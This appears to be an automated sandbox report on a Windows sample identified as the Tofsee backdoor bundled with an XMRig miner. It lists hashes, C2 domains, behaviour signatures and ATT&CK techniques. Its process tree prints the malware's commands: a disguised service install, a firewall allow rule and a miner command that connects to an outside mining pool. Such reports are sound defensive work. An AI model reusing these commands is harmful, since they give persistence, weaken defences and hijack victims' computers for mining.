Analysis

  • max time kernel
    140s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2023 15:06

General

  • Target

    file.exe

  • Size

    322KB

  • MD5

    c5b9c27223bd12c6e6a0c46e5b411e27

  • SHA1

    68a98a64db6df5bd1feb25288220d186da8fd718

  • SHA256

    8cc3efde2ca85f0d6fcb6c96beb65869fdf024b3f948c1de79194e7988446a48

  • SHA512

    a3d3cdb3b4b1ba88000fc458a4def99973d4a0794b9e85bd0f156643c925f3baaebe9f3a900f8b260568af484671c6c0d541e7403a6d7075a1783088ba630299

  • SSDEEP

    3072:1KPtaVfzJ+xzpxIUgpnvKxvGbqqV7gPCs5lQYFwGfABn/9vOsJp7t:QetWkUIy4bVyCs5ZQ/OI

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vpmnirat\
      2⤵
        PID:1052
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kwebhuay.exe" C:\Windows\SysWOW64\vpmnirat\
        2⤵
          PID:2036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vpmnirat binPath= "C:\Windows\SysWOW64\vpmnirat\kwebhuay.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:556
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vpmnirat "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vpmnirat
          2⤵
          • Launches sc.exe
          PID:1096
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:304
      • C:\Windows\SysWOW64\vpmnirat\kwebhuay.exe
        C:\Windows\SysWOW64\vpmnirat\kwebhuay.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:740
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1232

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\kwebhuay.exe
        Filesize

        12.3MB

        MD5

        3409fddd2f1b656af302d06488decff1

        SHA1

        6b3e7d4d9facfd3b82475301276e6b6bff0e37d3

        SHA256

        329661bd19c1a1f2b89412cf1d8860cd9cd126bd5aa1a24a81340df62cc9059f

        SHA512

        33a61bafbff05b65240b9c8da0384961b3f85d239d9666527e2720e687b68ed897855ada048dada7c88f4c10eac1a6f554bf521e38d043038ee875a3db314601

      • C:\Windows\SysWOW64\vpmnirat\kwebhuay.exe
        Filesize

        12.3MB

        MD5

        3409fddd2f1b656af302d06488decff1

        SHA1

        6b3e7d4d9facfd3b82475301276e6b6bff0e37d3

        SHA256

        329661bd19c1a1f2b89412cf1d8860cd9cd126bd5aa1a24a81340df62cc9059f

        SHA512

        33a61bafbff05b65240b9c8da0384961b3f85d239d9666527e2720e687b68ed897855ada048dada7c88f4c10eac1a6f554bf521e38d043038ee875a3db314601

      • memory/740-88-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-101-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/740-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/740-89-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-62-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/740-66-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/740-110-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/740-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/740-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/740-71-0x0000000001920000-0x0000000001B2F000-memory.dmp
        Filesize

        2.1MB

      • memory/740-106-0x00000000001C0000-0x00000000001C7000-memory.dmp
        Filesize

        28KB

      • memory/740-75-0x0000000000190000-0x0000000000196000-memory.dmp
        Filesize

        24KB

      • memory/740-90-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-81-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-82-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-84-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-83-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-85-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-86-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-87-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-74-0x0000000001920000-0x0000000001B2F000-memory.dmp
        Filesize

        2.1MB

      • memory/740-105-0x00000000054F0000-0x00000000058FB000-memory.dmp
        Filesize

        4.0MB

      • memory/740-78-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-91-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-92-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-93-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-94-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-95-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-96-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-97-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/740-98-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/740-60-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/740-102-0x00000000054F0000-0x00000000058FB000-memory.dmp
        Filesize

        4.0MB

      • memory/1232-111-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1232-112-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1232-120-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1232-119-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1232-122-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1232-121-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1232-123-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1232-124-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/1720-63-0x0000000000400000-0x00000000006CE000-memory.dmp
        Filesize

        2.8MB

      • memory/1720-56-0x00000000002A0000-0x00000000002B3000-memory.dmp
        Filesize

        76KB

      • memory/1944-67-0x0000000000400000-0x00000000006CE000-memory.dmp
        Filesize

        2.8MB